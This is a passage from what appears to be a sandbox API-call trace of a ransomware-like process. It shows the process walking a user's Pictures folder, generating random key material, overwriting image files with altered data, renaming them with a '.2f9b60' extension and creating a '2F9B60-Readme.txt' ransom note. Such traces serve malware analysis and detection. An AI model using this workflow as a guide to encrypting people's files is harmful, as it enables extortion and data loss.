lpNumberOfBytesWritten=0x2b8af970, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2b8af970*=0xba9, lpOverlapped=0x0) returned 1 [0222.419] CloseHandle (hObject=0x2b48) returned 1 [0224.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f2e00) returned 1 [0224.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac370) returned 1 Thread: id = 2484 os_tid = 0x1f44 [0154.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205cf10 [0154.439] wcscpy (in: _Dest=0x4205cf10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1" [0154.439] wcscat (in: _Dest=0x4205cf10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\" [0154.439] wcscat (in: _Dest=0x4205cf10, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\*" [0154.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec5600 [0154.439] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\*", lpFindFileData=0x1cec5600 | out: lpFindFileData=0x1cec5600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fa837f0, ftCreationTime.dwHighDateTime=0x1d5e7bc, ftLastAccessTime.dwLowDateTime=0xa726bc90, ftLastAccessTime.dwHighDateTime=0x1d5e802, ftLastWriteTime.dwLowDateTime=0xa726bc90, ftLastWriteTime.dwHighDateTime=0x1d5e802, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d4f0 [0154.440] wcscmp (_String1=".", _String2=".") returned 0 [0154.440] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1cec5600 | out: lpFindFileData=0x1cec5600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fa837f0, ftCreationTime.dwHighDateTime=0x1d5e7bc, ftLastAccessTime.dwLowDateTime=0xa726bc90, ftLastAccessTime.dwHighDateTime=0x1d5e802, ftLastWriteTime.dwLowDateTime=0xa726bc90, ftLastWriteTime.dwHighDateTime=0x1d5e802, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.440] wcscmp (_String1="..", _String2=".") returned 1 [0154.440] wcscmp (_String1="..", _String2="..") returned 0 [0154.440] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1cec5600 | out: lpFindFileData=0x1cec5600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6ada00, ftCreationTime.dwHighDateTime=0x1d5d7f7, ftLastAccessTime.dwLowDateTime=0x1f3d3150, ftLastAccessTime.dwHighDateTime=0x1d5d976, ftLastWriteTime.dwLowDateTime=0x1f3d3150, ftLastWriteTime.dwHighDateTime=0x1d5d976, nFileSizeHigh=0x0, nFileSizeLow=0x6304, dwReserved0=0x0, dwReserved1=0x0, cFileName="0uQEevx1xLD7Hi2Ww.gif", cAlternateFileName="0UQEEV~1.GIF")) returned 1 [0154.440] wcscmp (_String1="0uQEevx1xLD7Hi2Ww.gif", _String2=".") returned 1 [0154.440] wcscmp (_String1="0uQEevx1xLD7Hi2Ww.gif", _String2="..") returned 1 [0154.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4205ea70 [0154.440] wcscpy (in: _Dest=0x4205ea70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1" [0154.440] wcscat (in: _Dest=0x4205ea70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\" [0154.440] wcscat (in: _Dest=0x4205ea70, _Source="0uQEevx1xLD7Hi2Ww.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\0uQEevx1xLD7Hi2Ww.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\0uQEevx1xLD7Hi2Ww.gif" [0158.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205ea70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1310 [0158.487] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1cec5600 | out: lpFindFileData=0x1cec5600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e94b10, ftCreationTime.dwHighDateTime=0x1d5e3a1, ftLastAccessTime.dwLowDateTime=0x6cd0b810, ftLastAccessTime.dwHighDateTime=0x1d5e132, ftLastWriteTime.dwLowDateTime=0x6cd0b810, ftLastWriteTime.dwHighDateTime=0x1d5e132, nFileSizeHigh=0x0, nFileSizeLow=0x10e50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHAS8ymF56aghu.bmp", cAlternateFileName="SHAS8Y~1.BMP")) returned 1 [0158.487] wcscmp (_String1="SHAS8ymF56aghu.bmp", _String2=".") returned 1 [0158.487] wcscmp (_String1="SHAS8ymF56aghu.bmp", _String2="..") returned 1 [0158.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x20279130 [0158.487] wcscpy (in: _Dest=0x20279130, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1" [0158.487] wcscat (in: _Dest=0x20279130, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\" [0158.487] wcscat (in: _Dest=0x20279130, _Source="SHAS8ymF56aghu.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\SHAS8ymF56aghu.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\SHAS8ymF56aghu.bmp" [0158.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20279130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf78 [0158.488] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1cec5600 | out: lpFindFileData=0x1cec5600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6eaa380, ftCreationTime.dwHighDateTime=0x1d5e1aa, ftLastAccessTime.dwLowDateTime=0x92c639b0, ftLastAccessTime.dwHighDateTime=0x1d5e7bc, ftLastWriteTime.dwLowDateTime=0x92c639b0, ftLastWriteTime.dwHighDateTime=0x1d5e7bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yvYTr3-eDCoAe", cAlternateFileName="YVYTR3~1")) returned 1 [0158.488] wcscmp (_String1="yvYTr3-eDCoAe", _String2=".") returned 1 [0158.488] wcscmp (_String1="yvYTr3-eDCoAe", _String2="..") returned 1 [0158.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202791f0 [0158.488] wcscpy (in: _Dest=0x202791f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1" [0158.488] wcscat (in: _Dest=0x202791f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\" [0158.488] wcscat (in: _Dest=0x202791f0, _Source="yvYTr3-eDCoAe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe" [0158.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202791f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964 [0158.489] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1cec5600 | out: lpFindFileData=0x1cec5600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6eaa380, ftCreationTime.dwHighDateTime=0x1d5e1aa, ftLastAccessTime.dwLowDateTime=0x92c639b0, ftLastAccessTime.dwHighDateTime=0x1d5e7bc, ftLastWriteTime.dwLowDateTime=0x92c639b0, ftLastWriteTime.dwHighDateTime=0x1d5e7bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yvYTr3-eDCoAe", cAlternateFileName="YVYTR3~1")) returned 0 [0158.489] FindClose (in: hFindFile=0x1cd9d4f0 | out: hFindFile=0x1cd9d4f0) returned 1 [0158.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5600) returned 1 [0158.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cf10) returned 1 [0158.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae060) returned 1 Thread: id = 2485 os_tid = 0x1f48 [0154.442] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\yD_4AI.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\yd_4ai.png")) returned 0x20 [0154.442] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\yD_4AI.png", dwFileAttributes=0x20) returned 1 [0154.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\yD_4AI.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\yd_4ai.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x12fc [0154.443] GetFileSizeEx (in: hFile=0x12fc, lpFileSize=0x2c52f680 | out: lpFileSize=0x2c52f680*=36824) returned 1 [0154.443] SetFilePointerEx (in: hFile=0x12fc, liDistanceToMove=0x8fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.443] ReadFile (in: hFile=0x12fc, lpBuffer=0x2c52f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c52f648, lpOverlapped=0x0 | out: lpBuffer=0x2c52f600*, lpNumberOfBytesRead=0x2c52f648*=0x4, lpOverlapped=0x0) returned 1 [0154.444] SetFilePointerEx (in: hFile=0x12fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9860 [0154.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd98f0 [0154.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9920 [0154.445] NtQuerySystemTime (in: CurrentTime=0x2c52f540 | out: CurrentTime=0x2c52f540*=132462177595798000) returned 0x0 [0154.445] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x389a591c [0154.445] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x3bcea4e [0154.445] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x3224d9cd [0154.445] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0xef1af7d [0154.445] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x3b65497c [0154.445] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x7e07f786 [0154.445] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x14140cb8 [0154.445] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x5f3daa60 [0154.445] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x6d253bd6 [0154.445] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0xb5b0df2 [0154.445] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x4ec095c8 [0154.445] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x344ab6f3 [0154.445] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0xe969c8f [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x229aa94f [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x2698531a [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x655e7d7e [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x6cab75c7 [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x3e6c91a [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x17401d68 [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x34f3bcc9 [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x4bbe4c4f [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x5f636e57 [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x551b5a9f [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x58953c56 [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x22e689c [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x4b023d98 [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x6ed5f919 [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x1072acc8 [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x4b8755a2 [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x5ea26030 [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0xf3ed660 [0154.446] RtlRandomEx (in: Seed=0x2c52f530 | out: Seed=0x2c52f530) returned 0x5e3fd6c0 [0154.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9950 [0154.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c640 [0154.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9980 [0154.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0154.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9920) returned 1 [0154.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9860) returned 1 [0154.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42807240 [0154.455] SetFilePointerEx (in: hFile=0x12fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.455] ReadFile (in: hFile=0x12fc, lpBuffer=0x42807240, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2c52f5a0, lpOverlapped=0x0 | out: lpBuffer=0x42807240*, lpNumberOfBytesRead=0x2c52f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0154.455] SetFilePointerEx (in: hFile=0x12fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0154.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c640 [0154.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9860 [0154.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9860) returned 1 [0154.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4280ae50 [0154.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9860 [0154.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9920 [0154.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9920) returned 1 [0154.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0154.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0154.457] WriteFile (in: hFile=0x12fc, lpBuffer=0x4280ae50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2c52f5a0, lpOverlapped=0x0 | out: lpBuffer=0x4280ae50*, lpNumberOfBytesWritten=0x2c52f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0162.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4280ae50) returned 1 [0162.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42807240) returned 1 [0162.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42c18570 [0162.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058290 [0162.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b230 [0162.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c185a0 [0162.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c185a0) returned 1 [0162.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42c185a0 [0162.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c185d0 [0162.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18600 [0162.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18600) returned 1 [0162.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b230) returned 1 [0162.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058290) returned 1 [0162.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x42c16c40 [0162.292] SetFilePointerEx (in: hFile=0x12fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.292] WriteFile (in: hFile=0x12fc, lpBuffer=0x42c16c40*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2c52f650, lpOverlapped=0x0 | out: lpBuffer=0x42c16c40*, lpNumberOfBytesWritten=0x2c52f650*=0x106, lpOverlapped=0x0) returned 1 [0166.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c16c40) returned 1 [0166.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c185a0) returned 1 [0166.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c185d0) returned 1 [0166.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18570) returned 1 [0166.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9860) returned 1 [0166.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd98f0) returned 1 [0166.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9950) returned 1 [0166.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9980) returned 1 [0166.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b862f60 [0166.404] wcscpy (in: _Dest=0x1b862f60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\yD_4AI.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\yD_4AI.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\yD_4AI.png" [0166.404] wcscat (in: _Dest=0x1b862f60, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\yD_4AI.png.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\yD_4AI.png.2f9b60" [0166.404] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\yD_4AI.png.2f9b60", NtPathName=0x2c52f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\yD_4AI.png.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0166.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4205ee80 [0203.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ee80) returned 1 [0203.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19500) returned 1 [0203.082] NtQueryInformationFile (in: FileHandle=0x12fc, IoStatusBlock=0x2c52f6d8, FileInformation=0x2c52f6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c52f6d8, FileInformation=0x2c52f6e8) returned 0x0 [0203.082] NtSetInformationFile (FileHandle=0x12fc, IoStatusBlock=0x2c52f6d8, FileInformation=0x2c52f6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862f60) returned 1 [0209.452] FlushFileBuffers (hFile=0x12fc) returned 1 [0209.474] CloseHandle (hObject=0x12fc) returned 1 [0216.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce179a0 [0216.463] wcscpy (in: _Dest=0x1ce179a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\" [0216.463] wcscat (in: _Dest=0x1ce179a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\2F9B60-Readme.txt" [0216.463] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\2f9b60-readme.txt")) returned 0x20 [0216.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce179a0) returned 1 [0216.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 Thread: id = 2486 os_tid = 0x1f4c [0154.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced2d10 [0154.460] wcscpy (in: _Dest=0x1ced2d10, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config" [0154.460] wcscat (in: _Dest=0x1ced2d10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\" [0154.461] wcscat (in: _Dest=0x1ced2d10, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*" [0154.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec5870 [0154.461] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*", lpFindFileData=0x1cec5870 | out: lpFindFileData=0x1cec5870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, 